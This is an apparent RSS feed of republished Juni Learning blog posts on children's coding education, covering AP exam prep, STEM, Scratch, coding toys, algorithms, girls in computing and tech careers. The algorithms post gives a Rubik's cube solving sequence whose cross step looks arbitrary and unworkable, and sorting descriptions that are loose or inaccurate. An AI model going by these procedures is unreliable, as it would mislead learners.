To receive college credit, students must register to take the College Board AP exam through their school, administered in May of each year. In 2017, the College Board introduced a second computer science AP course, AP Computer Science Principles. Compared to AP Computer Science A, this course “focuses on the broader aspects of computing, including not only programming but also topics like the global impact of computing, the internet and cybersecurity, and creativity” (College Board). At Juni, we only offer the AP Computer Science A course.

The AP Computer Science A exam is a three hour test. The first half includes 40 multiple choice questions and accounts for 50% of the exam score. The second half includes four free response questions focused on program design, implementation, and problem solving, and it makes up the remaining 50% of the exam score. All of the questions on the AP exam involving coding use Java as the primary programming language, and test booklets include the Java Quick Reference that includes all of the accessible methods from the Java library that the AP exam may reference.

Goals of the AP Computer Science curriculum include:

  • Design, implement, and analyze solutions to problems
  • Use and implement commonly used algorithms
  • Develop and select appropriate algorithms and data structures to solve new problems
  • Write solutions fluently in an object-oriented paradigm
  • Write, run, test, and debug solutions in the Java programming language, utilizing standard Java library classes and interfaces from the AP Java subset
  • Read and understand programs consisting of several classes and interacting objects
  • Read and understand a description of the design and development process leading to such a program
  • Understand the ethical and social implications of computer use

The exam score is College Board’s recommendation on whether universities should grant course credits to the student. Generally, an AP score of 3 and above is considered passing. The scoring breakdown is laid out as follows.

Score Recommendation
5 Extremely well qualified
4 Well qualified
3 Qualified
2 Possibly qualified
1 No recommendation

 

Ways to Prepare

Most students who take the AP Computer Science A take the course in high school. However, it is possible to self-study for the exam successfully. Thankfully, many great online resources exist for students!

The College Board itself has numerous helpful materials. For example, they offer a compilation of various exam tips and tricks, in addition to a test bank of each year’s free response questions, multiple-choice, sample answers, and scoring guidelines to ensure transparency and fairness in grading.

Barron’s, another well-known test prep company, sells a great book for this course and offers an online practice exam as well. Johns Hopkins Center for Talented Youth also offers this as an online course.

At Juni Learning, we offer AP Computer Science A as a course with a private instructor that covers all of the topics on the AP exam in depth. With our classes, students are paired one-on-one with an instructor who works on concepts and test prep, tailored to the student’s specific needs. With us, some students fully self-study for the AP exam, while others are simply getting exposure to the material in preparation for the school year ahead.

Our AP Computer Science A course is broken down into the following modules:

  • Variable types, input / output, & arithmetic operators
  • Loops & conditionals
  • Classes & objects
  • Subclasses, abstract classes, & interfaces
  • Standard classes
  • Software design principles
  • Arrays & ArrayLists
  • Recursion
  • Basic algorithms
  • AP test prep

Advice From Former AP Computer Science Students

We asked Juni instructors who took AP Computer Science in high school on what they did to prepare for the AP exam and any advice that they would give current students. Here is some of their advice:

  • Practice! That includes practicing the multiple choice and free-response questions individually, but also taking practice exams, end-to-end, in a controlled environment within the allotted time. This helps you get a feel for how long you should spend on each section. Simply reading the textbook won’t help you get the real experience you need for the exam.
  • Time management is critical – make sure that you move on from certain questions if you’re getting stuck and come back to them later in the exam. Otherwise. you may get stuck for a long time on a harder question and run out of time on the easier ones.
  • Ask for help. If you’re stuck on a problem, ask a friend in the course or one of your teachers (or a Juni Instructor) for help. Don’t be afraid to get problems wrong, because programming is all about learning from your mistakes and continuing to improve.
  • Take a break once in a while. You’ve already gotten this far – at a certain point you’ll need a break from practicing, as you’ll have diminishing returns from trying to cram in new information. Make sure that you’re getting enough sleep and take some time to go for a run or meditate. Some great meditation apps like Calm or Headspace can help you refocus on the task at hand.

Final Thoughts

There are many different resources and programs that can help students prepare for the AP Computer Science A exam. The best fit depends on the student’s learning style and time constraints.

Overall, the AP Computer Science A course is a great opportunity to learn the fundamentals of computer science and demonstrate proficiency to colleges. Passing the AP exam is a great way to earn some college credit, but more importantly it helps develop a lifelong technical skill that helps one think in new ways.

This article originally appeared on junilearning.com

]]> https://briefnews.eu/preparing-for-the-ap-computer-science-a-exam/feed/ 0 How to Encourage STEM in Early Education https://briefnews.eu/how-to-encourage-stem-in-early-education/ https://briefnews.eu/how-to-encourage-stem-in-early-education/#respond Sun, 26 Jul 2020 12:52:38 +0000 https://briefnews.eu/?p=260827 What is STEM?
Science, technology, engineering, and mathematics (STEM) are largely used to influence innovative solutions to our world’s problems. Day-to-day decisions are increasingly being driven by data, with 90% of the world’s data generated just in the last two years. The proliferation of global access to mobile technology, the internet, and other innovations indicates that future generations should be STEM-literate. Demand for STEM jobs has increased so much that 2.4 million STEM-related jobs in the United States were expected to go unfilled in 2018.
Encouraging early STEM education for young children today will not only help develop interdisciplinary critical thinking now, it will also help set your child up with the critical, relevant skills that research says will be integral for your child’s future success.

Why STEM Education is Vital for Kids
STEM education is not just for college-level or even high school students. The U.S. Department of Education links a strong formative math education with future success in areas outside of just math, predominantly reading.
Early development is critical for future growth. Researchers report that the brain forms the most active connections during childhood. Nourishing a child’s inquisitive mind with new information supports active neural pathways at the most critical time of development. Constructing this foundation sets children up for future cognitive and socio-economic gains.
STEM programs and lesson plans exceed a science education. Not only does STEM education teach hard skills, it also fosters life skills, such as creative problem solving, logic, and resilience. STEM literacy empowers individuals with skills that serve them in STEM and non-STEM fields, alike. The ability to evolve as technology evolves and grows prepares people for success in all endeavors.

Future STEM Career Pathways
STEM occupations grow faster than most other professions, command higher wages, and are required in non-STEM fields. Some examples of STEM careers include software developers, statisticians, and biomedical engineers. For further detailed information on STEM occupations, the Bureau of Labor Statistics provides a “periodic table” with details on entry to each field, career pathways, wages, and more.

Non-STEM Careers in a Tech-Oriented World
STEM increasingly integrates with non-STEM subjects, such as economics, finance, and linguistics. Higher education programs support STEM education for the professional development of people seeking non-STEM degrees.
Yale’s Department of Economics cites the “quantitative and analytic nature” of their program as the reason for changing economics’ designation from a social science major to a STEM major. Yale isn’t the only university readjusting their outlook; Princeton, MIT, Columbia, and other universities have also reclassified economics as STEM.

Diversity: STEM is for Everybody
Society traditionally regards STEM fields as masculine. The National Science Foundation reports that only 30% of women are employed as scientists and engineers in the United States’ STEM workforce. However, though a great understatment, it was largely girls and women who have influenced the world for what it is today.
Ada Lovelace is considered the first computer programmer, dating back to 1815. Katherine Johnson, featured in Hidden Figures, was so exceedingly good at math that her job at NASA was quite literally to check the work of computers. Of course, there are many others who have gone unrecognized. A welcoming learning environment and strong STEM curriculum empowers girls to pursue STEM fields, including computer science.

How Can Parents and Teachers Encourage STEM?
Engaging in a diverse set of projects and activities best encourages passion and curiosity for STEM. Hands-on experiences, strong role models, and exciting problems motivate children to want to learn and grow. Through a blend of different projects and activities, STEM teachers and parents not only nurture a love for STEM, but also develop children’s desires to tackle complex problems that require a wide range of skills.
As the U.S. Department of Education outlines, parents do not need STEM degrees to help children learn science. Armed with just a magnifying glass and going outside, parents can teach kids about the world by asking children to observe, ask questions, and think about what they see about everything, from bugs to mud puddles.

STEM is for Young Kids Too
STEM is for all ages! Many local science centers host events that are designed particularly for young age groups. Young children discovering the world around them for the first time have much to learn and absorb from these programs.
In fact, just playing with children and offering creative, hands-on experiences inspires inquisitive minds. Toys and games that stimulate curiosity are excellent teaching tools. LEGOs, building blocks, as well as tinkering stations with items like string, straws, pipe cleaners, colorful tape, and popsicle sticks aid fine motor skills and spatial skills. Not only that, but they also teach how to plan, inquire, and think like scientists.

STEM Projects for Kids
Project-based learning provides a strong sense of accomplishment, teaches resilience in the face of difficult problems, and shows how people adapt and learn from failure. Mentoring and guiding a child through projects builds confidence and gives them the tools they need to make their own ideas come to life. Many of Juni’s students utilize what they learn in our courses to program their own games, websites, and more. With someone there to help debug particularly tricky problems and offer guidance, students can pursue wilder, more creative ideas. We have also written more extensively on great coding toys and games for kids.
Beyond coding, there are many fun projects parents can do with their children, across all ages. Here are some selected project ideas and science experiments to get started!
Rock candy
Slime
Growing crystals
Coloring flowers by putting them in solution
Using imagination to build LEGOs
Inspiring aspiring architects with KAPLA blocks
Math Jenga
…and of course, the traditional volcano!

STEM Activities for Kids
According to the National Science & Technology Council, the best STEM education should be interdisciplinary and blend different forms of learning. Some of the best STEM lessons can be found through correlated skills of inquiry, creativity, and genuine excitement. Engaging in a full breadth of activities best supports a well-rounded education that forms a fertile foundation for innovation.
Outside a formalized STEM education, parents can support their child’s passions in a wide variety of ways. By exposing children to nature emporiums, museums, science centers, zoos, aquariums, and libraries, parents can inspire and nurture their child’s inquisitive mind and creativity. These locations often offer a variety of hands-on workshops, events, summer camps and programs, and more. Not only are these activities fun for children, but they’re great for the whole family!

STEM Helps Develop Lifelong Skills
The drive for discovery and exploration that early STEM education develops will serve a child throughout their life and help them adapt to a changing, tech-driven world. By encouraging a child’s interests and passions, parents help develop their child’s abilities to be resilient to challenges, inquire about the world around them, and creatively solve problems.

This article originally appeared on junilearning.com

]]> https://briefnews.eu/how-to-encourage-stem-in-early-education/feed/ 0 Teaching Kids Coding with Scratch https://briefnews.eu/teaching-kids-coding-with-scratch/ https://briefnews.eu/teaching-kids-coding-with-scratch/#respond Tue, 21 Jul 2020 14:16:48 +0000 https://briefnews.eu/?p=260770 The Scratch Programming Language

Scratch may not be a programming language that you’re familiar with if you’ve grown up hearing about BASIC and Cobol, but today Scratch is used in colleges, universities, and workshops to teach the basics of coding to both children and adults.

Scratch was a project created by the Lifelong Kindergarten Group of the MIT Media Lab. While it was developed for students between the ages of 8 and 16, there is a robust online community of contributors, and today, students of all ages are beginning their computer science journeys with Scratch. In fact, Scratch is included in many universities’ computer science curricula, including the University of Missouri and Harvard. There is also an active Scratch community creating new projects everyday.

Scratch programming uses drag-and-drop code blocks to teach students how to code. Users are presented with colorful characters (called sprites), easy-to-understand code blocks, and a stage on which they can see their code come to life on their own computer with the click of a green flag. It’s a great way to introduce students to coding.

Rather than having students memorize commands, Scratch promotes students to think about what it is they want the code to do step-by-step and how the different blocks can help them achieve their goals. Are they trying to move a sprite? They probably need a block in the Motion section. Do they need to repeat a step more than once? They should probably reach for a repeat block.

This kind of learning environment helps those learning to code think more abstractly about what it is they are trying to achieve and not get overwhelmed by details. While Scratch is simple enough to be self-taught, many students simply wouldn’t know where to begin.

What Kind of Projects Can be Built with Scratch?

If you take a look at the thousands of projects that have been developed in Scratch, you’ll see a vast variety of impressive work. From short films to recreations of popular games, such as Angry Birds and Minecraft, the possibilities with Scratch are just about endless. Scratch developers are able to build and solve puzzles and mazes, create interactive games based on math and science, and create video games that they can share with friends.

It’s also a great way for students to start thinking about how they can solve real-world problems. One of Juni’s assigned projects tasks students with solving the famous Fizzbuzz interview coding challenge. Through this project, students learn about using conditional statements and the modulus operator to solve this problem.

Some might look at Scratch and find it hard to believe that this framework, with its brightly-colored coding blocks and cartoon sprites, can be an effective way to learn to code. A powerful tool in its own right, Scratch gives students a deep understanding of the foundational coding concepts they’ll need to master other languages.

This article originally appeared on junilearning.com

]]> https://briefnews.eu/teaching-kids-coding-with-scratch/feed/ 0 Best Coding Games, Toys, & Apps for Kids https://briefnews.eu/best-coding-games-toys-apps-for-kids/ https://briefnews.eu/best-coding-games-toys-apps-for-kids/#respond Wed, 15 Jul 2020 04:57:25 +0000 https://briefnews.eu/?p=260660 Coding Toys for Younger Kids

For kids 10 and under, there are many games and toys that help them understand the building blocks of computer programming. For example, Bitsbox delivers a physical box to your home every month containing a kit of projects, and then your young child can login to Bitsbox’s online platform to program their own version of these projects. The apps are selected based on difficulty and interests – they offer anything from interactive birthday cards to Tetris-like games. The apps can then be easily shared onto phones and tablets.

TIP: Get into Python – Python introduction

The Osmo is an iPad-based programming game system that incorporates physical blocks to write code. Using a set of magnetic blocks, your child controls Awbie, a cute character who must navigate the different levels of the Osmo universe. The physical blocks must be connected together logically so that Awbie can move on screen, using commands like “move,” “turn,” and “repeat.” The Osmo is ideal for kids as young as five years old because they don’t need typing skills to learn the basics of programming logic and to practice their critical thinking skills. After your child has mastered Awbie, they can move onto Osmo’s other products like Coding Jam, which uses a similar block system to generate digital music, and Coding Duo, a more advanced version of Coding Awbie with multiple players.

Cubetto is a completely screenless coding toy for kids 6 and under. Cubetto is a wooden robot that is programmed by placing colored blocks onto its surface, which instructs it where to move. The Cubetto is placed on top of different maps, mazes, and books. For example, in one challenge Cubetto must navigate around a big urban city. In another, he is in ancient Egypt, learning about pyramids, hieroglyphics, and the Sphinx. This is a great toy that encourages active play and critical thinking without any screens.

Coding Games for Older Kids

For older kids who love robots, the Anki Cozmo is a palm-sized robot, built with facial recognition, self-maneuvering capabilities, and an “emotion engine” to respond to real-world situations. It comes with a Code Lab app for users to program the Cozmo’s movements and responses to different environments. Code Lab is built on Scratch, a visual programming language. For example, you can use Code Lab to program Cozmo to move around and write his name, or to approach a human and Cozmo recognizes his or her face. There is even a more extensive software development kit to tap into the Cozmo’s computer vision capabilities and third party integrations (like with Google Assistant and Android). Kids can also play games with Cozmo like Memory Match and Keepaway.

If your child is interested in building hardware, the Kano might be the best toy for them. With the Kano, you follow a storybook to build a simple computer. The kit comes with a power supply, Raspberry Pi (the chip that powers the computer), keyboard, SD card, and optionally a microphone and an HD touchscreen. Once built, the touchscreen version allows you to program your own art, games and music. The coding starts with a block-based environment, but for more advanced students, there are projects available in Python and Javascript programming languages.

Many kids this age love Minecraft, an open-ended game where users can build their own worlds and experiences using the resources they acquire. Building in Minecraft is very Lego-like, where the pieces are varied and fit together in infinite combinations. Given the nature of Minecraft, “modding” the game is extremely popular, where you create new items, resources, and functionality by programming extensions to Minecraft’s code. The most popular mods, for example, add new animals, crops, and furniture pieces to the game; allow you to monitor and control your inventory more efficiently; and even introduce magic and wand-making into the game. While modding Minecraft was not designed for beginning programmers, there are sites dedicated for helping kids learn how to mod with online tutorials like LearnToMod and books like Coding with Minecraft.

Online Coding Games and Platforms

There are also many online-based games and platform for students to start learning programming. CodeCombat offers a series of online levels in settings like the Kithgard Dungeon and the Backwoods Forest. Students gain points by completing challenges so that they can advance to the next level and buy power-ups. CodeMonkey is another online game where the student moves through a series of challenges in tracks like Coding Adventure and Coding Chatbots. The main language they focus on is CoffeeScript.

For students who want to take a more rigorous course, Khan Academy offers self-paced courses in HTML, CSS, and Javascript, focusing on website and game development. These courses include online videos, written explanations, and coding exercises.

This article originally appeared on junilearning.com.

]]> https://briefnews.eu/best-coding-games-toys-apps-for-kids/feed/ 0 What Are Algorithms & Why Are They Important https://briefnews.eu/what-are-algorithms-why-are-they-important/ https://briefnews.eu/what-are-algorithms-why-are-they-important/#respond Wed, 08 Jul 2020 06:58:06 +0000 https://briefnews.eu/?p=260492 What Is An Algorithm?

An algorithm is a set of step-by-step procedures, or a set of rules to follow, for completing a specific task or solving a particular problem. Algorithms are all around us. The recipe for baking a cake, the method we use to solve a long division problem, and the process of doing laundry are all examples of an algorithm. Here’s what baking a cake might look like, written out as a list of instructions, just like an algorithm:

  1. Preheat the oven
  2. Gather the ingredients
  3. Measure out the ingredients
  4. Mix together the ingredients to make the batter
  5. Grease a pan
  6. Pour the batter into the pan
  7. Put the pan in the oven
  8. Set a timer
  9. When the timer goes off, take the pan out of the oven
  10. Enjoy!

Algorithmic programming is all about writing a set of rules that instruct the computer how to perform a task. A computer program is essentially an algorithm that tells the computer what specific steps to execute, in what specific order, in order to carry out a specific task. Algorithms are written using particular syntax, depending on the programming language being used.

Types of Algorithms

Algorithms are classified based on the concepts that they use to accomplish a task. While there are many types of algorithms, the most fundamental types of computer science algorithms are:

  1. Divide and conquer algorithms – divide the problem into smaller subproblems of the same type; solve those smaller problems, and combine those solutions to solve the original problem.
  2. Brute force algorithms – try all possible solutions until a satisfactory solution is found.
  3. Randomized algorithms – use a random number at least once during the computation to find a solution to the problem.
  4. Greedy algorithms – find an optimal solution at the local level with the intent of finding an optimal solution for the whole problem.
  5. Recursive algorithms – solve the lowest and simplest version of a problem to then solve increasingly larger versions of the problem until the solution to the original problem is found.
  6. Backtracking algorithms – divide the problem into subproblems, each which can be attempted to be solved; however, if the desired solution is not reached, move backwards in the problem until a path is found that moves it forward.
  7. Dynamic programming algorithms – break a complex problem into a collection of simpler subproblems, then solve each of those subproblems only once, storing their solution for future use instead of re-computing their solutions.

Example of an Algorithm

Solving a Rubik’s Cube

There are a number of different algorithms, from simple to very complicated, that exist for solving a Rubik’s cube. Below is just one simple algorithm. First, let’s specify a notation to use (similar to picking a programming language).

Each of the six faces of a Rubik’s cube can be represented by the first letter of their name:

  • U – up
  • D – down
  • L – left
  • R – right
  • F – front
  • B – back

Each face can be turned in three different ways/directions. Using U as an example, these are represented as:

  • U – clockwise quarter-turn of the upper face
  • U’ – counter-clockwise quarter-turn of the upper face
  • U2 – half turn in either direction of the upper face

Now, let’s go through the steps in the algorithm to solve a Rubik’s Cube. Feel free to grab one of your own and follow along!

Step 1: The Cross

  1. First, flip some edges so that there is a white cross on the upper face.
  2. Apply the following turns: F, R’, D’, R, F2, R’, U, R, U’, R’, R2, L2, U2, R2, L2.
  3. The cross is now solved.

Step 2: The White Corners

  1. The edges on the white face are now complete, but the corners remain.
  2. Depending on where the white-orange-green corner is in the puzzle, apply one of the following series of turns:
    1. Bottom: R’, D’, R, D (repeat until the corner moves to its correct place)
    2. Top: R’, D’, R, D (this moves the corner to the bottom; then, follow the above instructions)

Step 3: Middle Layer Edges

  1. Flip the cube so that the white is on the bottom.
  2. Look for an edge that is on the top face and doesn’t have yellow on it.
  3. Perform a U-turn so that the color on the front face of the edge matches with the center.
  4. Depending on the direction that the edge could go, apply one of the following series of turns:
    1. Left: U’, L’, U, L, U, F, U’, F’
    2. Right: U, R, U’, R’, U’, F’, U, F)

Step 4: Yellow Cross

  1. Apply the following turns, until a yellow cross on the face appears with the yellow center: F, R, U, R’, U’, F’.
  2. If there is an “L” shape, where the two yellow pieces showing are adjacent to each other, apply the following turns: F, U, R, U’, R’, F’.
  3. If there is a “Line” shape, which is horizontal, apply the following turns: F, R, U, R’, U’, F’.

Step 5: Sune and Antisune

  1. Look at the face with the yellow center.
  2. Depending on the below contingencies, apply one of the following series of turns:
    1. If there is only one oriented corner: R, U, R’, U, R, U2, R’ (repeat until the desired position is attained)
    2. There is one oriented corner and one right-facing corner: U2, R, U2, R’, U’, R, U’, R’

Step 6: Finishing the puzzle

  1. Look for sets of “headlights” (two stickers of the same color in the same row, separated by a sticker of a different color).
  2. Depending on how many there are, apply one of the following series of turns:
    1. If there are a set of headlights on each side: R, U’, R, U, R, U, R, U’, R’, U’, R2
    2. Otherwise: R’, F, R’, B2, R, F’, R’, B2, R2

Sorting Algorithms

A sorting algorithm is an algorithm that puts elements of a list in a certain order, usually in numerical or lexicographical order. Sorting is often an important first step in algorithms that solves more complex problems. There are a large number of sorting algorithms, each with their own benefits and costs. Below, we will focus on some of the more famous sorting algorithms.

  1. Linear sort: Find the smallest element in the list to be sorted, add it to a new list, and remove it from the original list. Repeat this until the original list is empty.
  2. Bubble sort: Compare the first two elements in the list, and if the first is greater than the second, swap them. Repeat this with every pair of adjacent elements in the list. Then, repeat this process until the list is fully sorted.
  3. Insertion sort: Compare each element in the list to all the prior elements until a smaller element is found. Swap these two elements. Repeat this process until the list is fully sorted.

Where Algorithms are Used in Computer Science?

Algorithms are used in every part of computer science. They form the field’s backbone. In computer science, an algorithm gives the computer a specific set of instructions, which allows the computer to do everything, be it running a calculator or running a rocket. Computer programs are, at their core, algorithms written in programming languages that the computer can understand. Computer algorithms play a big role in how social media works: which posts show up, which ads are seen, and so on. These decisions are all made by algorithms. Google’s programmers use algorithms to optimize searches, predict what users are going to type, and more. In problem-solving, a big part of computer programming is knowing how to formulate an algorithm.

Why are Algorithms Important to Understand?

Algorithmic thinking, or the ability to define clear steps to solve a problem, is crucial in many different fields. Even if we’re not conscious of it, we use algorithms and algorithmic thinking all the time. Algorithmic thinking allows students to break down problems and conceptualize solutions in terms of discrete steps. Being able to understand and implement an algorithm requires students to practice structured thinking and reasoning abilities.

This article originally appeared on junilearning.com

]]> https://briefnews.eu/what-are-algorithms-why-are-they-important/feed/ 0 Empowering Girls in Computer Science https://briefnews.eu/empowering-girls-in-computer-science/ https://briefnews.eu/empowering-girls-in-computer-science/#respond Sun, 05 Jul 2020 11:31:20 +0000 https://briefnews.eu/?p=260445 “That’s just for boys!” is a common remark heard among young girls. In fact, my younger sister recently made that comment to me when I asked her if she played a certain videogame. While the context might be innocent or inane, it’s alarming how many things are deemed to be “for boys” when, in reality, this couldn’t be farther from the truth.

Science- and technology-related fields of study and employment are often treated this way, even though women have historically been at the forefront of groundbreaking scientific and technological advancements. From Ada Lovelace to Katherine Johnson, knowledge of prominent female figures in STEM careers are difficult to come by, although recently more and more stores about these women have surfaced in mainstream media. It is easy to see how young girls internalize the “boys only” misconception when so many of the facts circulated in science and technology appear to be dominated by men.
Women code too

Ada Lovelace was a talented mathematician born in 1815. Ada took to mathematics at an early age, and was able to study math at the collegiate level. While translating an article about an invention created by her mentor, Ada was able to share some of her own ideas about the machine, along with notes on how computer code could be written to give the device repeatable instructions. Because of this, she is considered by many to be the world’s first computer programmer.

The story of Katherine Johnson was recently featured in the Oscar-nominated film Hidden Figures. Katherine was an incredibly gifted woman. At the age of 10, she was a freshman in high school. She started working at the National Advisory Committee for Aeronautics, later known as NASA, in 1952. Her job title? Computer. Young women were hired at the time to perform calculations, even when NASA began to use actual computers for these tasks. Katherine’s mathematical skills were so virtuosic that her job was to double-check the work of the machines! In 2015, Johnson received the Presidential Medal of Freedom.
Female influences in computer science are not relegated only to historical contributions. Over the past few years Samaira Mehta has been featured in the news and invited to speak at conferences for her work as a programmer — a title she earned at 6 years old! Her work has helped children all across the country learn to code.

Getting girls into computer science
While there is still a considerable amount of progress to be made, there are signs that more girls are getting exposed to computer science earlier on in their K-12 education. In 2018, there was a 39% increase in the number of female students who took the Advanced Placement (AP) Computer Science exam. Taken by high school students, passing scores on AP exams can translate to credit at many American colleges.
Still, in 2015, only 18% graduates with a computer science degree were female. Why is this?
Lack of female role models. As we mentioned earlier, the computer scientists and other workers in STEM fields we see at tech companies in Silicon Valley in the news and on TV are usually men. We don’t see as many women in technology, and thus software engineering doesn’t doesn’t get added as often to girls’ lists of career aspirations.

Lack of early exposure. Studies show that students are ten times more likely to major in computer science if they are introduced to it early on to build their programming experience, like in an AP Computer Science class.

Misconceptions about programming as a career.The media also portrays programming as a independent and “nerdy” discpline, whereas building software is actually a very collaborative process.
Afraid to make mistakes. Code rarely runs perfectly the first time you run it, and learning how to debug code is a key programming skill.

How Juni can help
It’s hard to aspire toward what you’ve never glimpsed. Seeing women in STEM roles is key to discouraging the “that’s for boys” mentality that has girls self-selecting out of fields they could succeed in. Mentorship is a great way to encourage young girls to experiment with technology.

At Juni, our classes connect a student with a private instructor to develop their computer science education. They use our structured curriculum to practice coding fundamentals and problem solving in various programming languages, while building projects that are exciting for kids. We’ve written in detail about what a private online coding class entails previously. Almost 100% of our female students are able to develop their skills with a female instructor. Students get personalized attention from an instructor who is currently studying computer science at a top university or working in the tech industry. How does this combat the issues we listed above?

Exposure to a female role model. Girls have a mentor to work with who is passionate about computer science and demonstrates highly technical skills.

Early exposure to computer programming. Students can start as young as 5 in our Juni Jr program, and we offer beginner courses in Scratch and Python.

Easy to make mistakes. Our instructors dispel the notion that code has to be perfect before we run it. We emphasize the importance of incrementally testing our code and how to debug code that isn’t working.
Easy to ask questions. Some girls may be nervous to ask questions in a larger computer science course with more students. In a private class, there is no judgement!

This article originally appeared on junilearning.com

]]> https://briefnews.eu/empowering-girls-in-computer-science/feed/ 0 Careers in Coding & Computer Science https://briefnews.eu/careers-in-coding-computer-science/ https://briefnews.eu/careers-in-coding-computer-science/#respond Wed, 24 Jun 2020 06:58:02 +0000 https://briefnews.eu/?p=260243 The Growing Demand for Coding Skills

In 2013, the Bureau of Labor Statistics predicted that, by 2020, there will be 1.4 million programming-related jobs available and only 400,000 graduates with the coding skills required to fill those roles. Computer Science is an expanding field of study, highly relevant to various industries. For example, economists use the coding language R to analyze and understand financial data. The healthcare industry has seen the rise of wearable devices, like the Fitbit and Apple Watch, programmed to help their users track personal health data and improve overall wellness.

Programming has become an important skill across disciplines. However, while the number of schools offering Computer Science courses has increased, many districts still do not have ample resources or training to support these programs. As a result, many kids enter college without any context or, worse, with negative perceptions of what a job in a programming-related field can offer. Some may believe that what a Computer Science degree leads to is unattainable or boring, picturing programmers sitting at their desks for hours on end, typing code instead of interacting with others.

This impression can be a major barrier to kids interested in pursuing Computer Science. In reality, although it is a rigorous and scientific subject, Computer Science also requires creativity and collaboration in designing projects and developing algorithms. Careers in programming balance teamwork with technical challenges. Crucial components include identifying problems, designing solutions, and testing functionality, in teams rather than as solitary endeavors. Programming actually encourages a team-oriented approach that requires people to work cross-functionally across organizations like design, marketing, and customer success to best support their end users.

It’s important to provide examples to kids that illustrate the diverse and fascinating career options a Computer Science degree can provide. These fields include App Development, Artificial Intelligence, Cybersecurity, Cryptography, Data Science, Information Systems, Networking, Information Technology, Robotics, UI/UX Design, and Web Development. Let’s explore some of these in greater depth!

UI/UX Designer

UI/UX designers focus on user interface (UI) and user experience (UX) design. These concepts are highly intertwined. They focus on designing the interface that a user interacts with to use apps or software, like Spotify or Instagram. They have to consider how to make the design simple and intuitive, and also unified with the company’s branding. They use tools like Illustrator, Sketch, and Figma to create and collaborate on design mocks.

Many UI/UX designers are also well versed in languages for web development, like HTML, CSS, and Javascript. It is incredibly helpful when a UI/UX designer also understands how the interface would be implemented in code by a web developer, so they understand engineering constraints and can convey the necessary detail.

UI/UX designers must find a complementary balance between aesthetic appeal and usability. Something that’s not visually pleasing to look at may detract from the viewer’s attention and the company’s branding. However, something that is difficult to use will also frustrate the user. At the same time, something that is too artistically complex may distract from the text or conveyed idea. These professionals have to communicate important facts and ideas in a way that attracts and retains user attention.

Generally, a Bachelor’s Degree in Graphic Design or Computer Science is recommended to pursue this career path. Many professionals also recommend building a portfolio throughout college and early career to showcase past projects and outcomes.

Data Scientist

Data Science is another exciting career path for those with a background in Computer Science. Data scientists essentially clean, analyze, and visualize large datasets. Data scientists are charged with finding patterns and insights in business data to recognize trends, inform decision making, and predict future outcomes. Often times, Data Science is linked to Machine Learning, which is used to model existing data and make predictions.

Data science is relevant to many fields and industries. For example, Southwest Airlines has used sensor data to improve the daily operational safety of its aircrafts. The IRS uncovered $10 billion worth of tax fraud using advanced data analytics and detection algorithms.

Generally, data scientists hold at least a Master’s Degree in Computer Science or Data Science, so that employers can be assured candidates have the appropriate research and technical experience to dig through data, predict trends, and test theories, as well as the communication skills required to convey their findings.

Security Engineer

In today’s world, we rely on the internet for everything from online shopping to confidential company file transfers. With so much private information like our credit card numbers and healthcare data stored online, security engineers and security analysts are extremely important to protecting everyone’s sensitive information. They protect computer networks and systems from security threats and attack. Thus, security engineers have many different responsibilities, such as installing preventative security protocols, monitoring for threats, and responding to potential attacks.

Most security engineers hold at least a Bachelor’s Degree in Computer Science, Computer Engineering, or Information Security.

Mobile App Developer

There are over 2 million mobile applications available in both the Apple App Store and Google’s Play Store. We use these apps every day, like YouTube, Venmo, Uber, and Lyft. Application developers usually specialize in either iOS or Android development. iOS developers use the programming language Swift, and Android developers use the programming languages Kotlin or Java.

App developers need to be familiar with using particular development environments (commonly XCode for iOS and Android Studio for Android). They are also knowledgeable about the design guidelines and common UI components for each platform, in addition to the core APIs and services that they may need to use to implement functionality like notifications and location awareness.

Mobile app development is usually not a standalone major in college, but Computer Science departments are increasingly offering courses in this topic. There are also many other ways to learn iOS or Android development, ranging from online self-paced courses like Coursera to in-person bootcamps like General Assembly.

Software Engineer

Of course, many computer scientists work simply with the title software engineer or software developer. Here is a sampling of the wide variety of work that happens in software development:

  • At Microsoft, computer programmers built Seeing AI, an app to help people who are blind read printed text in their world from their smartphones
  • At Airbnb, developers built a knowledge graph to provide useful travel information about the cities users are visiting
  • At Instagram, engineers launched Type Mode, a way to post status updates to Instagram Stories with no photos or videos

As you can imagine, all of these projects require collaboration across many people, many of whom may have a background in programming even if their titles are not software engineers. Some of these people may be in roles we’ve already mentioned, like UI/UX designers or data scientists. Others may be systems analysts, hardware engineers, database administrators, or project managers. Building software for many people to use is a complex and cross-functional effort!

The Promising Future of Computer Science

We’ve highlighted only some of the opportunities and job titles in programming-related fields here. At Juni, we believe computer science literacy will grow to be increasingly important across disciplines. Our private online coding classes provide a starting point for kids to get exposed to programming. Once they get started building their own projects and understanding the power of coding, many of our students tell us they now want to study Computer Science in college! Get started with our Admissions Team today to see what coding class is best for your child.

 

This article was originally published on junilearning.com

]]> https://briefnews.eu/careers-in-coding-computer-science/feed/ 0 Coding without a keystroke: The hands-free creation of a full video game https://briefnews.eu/coding-without-a-keystroke-the-hands-free-creation-of-a-full-video-game/ https://briefnews.eu/coding-without-a-keystroke-the-hands-free-creation-of-a-full-video-game/#respond Sat, 10 Feb 2018 23:49:43 +0000 http://briefnews.eu/coding-without-a-keystroke-the-hands-free-creation-of-a-full-video-game/

Dig Dog is a pretty fun little video game. Call it “Spelunky for kids”—and don’t think of that as a backhanded compliment, either. Dig Dog, which launched Thursday on iOS, Xbox, Windows, and Mac, shaves away some of the genre’s complications, controls smoothly, and has depth. It’s as if the modern wave of randomly generated, dig-for-surprises adventures had existed in early ’80s arcades. (And all for only $ 3!)

I liked Dig Dog enough when I stumbled upon it at last year’s Fantastic Arcade event in Austin, Texas. But my interest in the game spiked when its creator reached out ahead of this week’s launch to confirm something I’m not sure any other video game creator has done: coding an entire game by himself… without using his hands.

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]]> https://briefnews.eu/coding-without-a-keystroke-the-hands-free-creation-of-a-full-video-game/feed/ 0 The best toys and coding kits for kids https://briefnews.eu/the-best-toys-and-coding-kits-for-kids/ https://briefnews.eu/the-best-toys-and-coding-kits-for-kids/#respond Mon, 20 Nov 2017 17:19:41 +0000 http://briefnews.eu/the-best-toys-and-coding-kits-for-kids/

This is the first year that Engadget has included a toy section in its holiday gift guide, and it’s already one of the biggest (and in our opinion, best) sections. Here you’ll find both coding kits from Lego and others intended to teach little one basic programming skills, as well as toys that just happen to be electronic in nature. And yes, the re-released Tamagotchi pets made the list — you know, for the nostalgic millennial on your list.

Source: Engadget Holiday Gift Guide 2017

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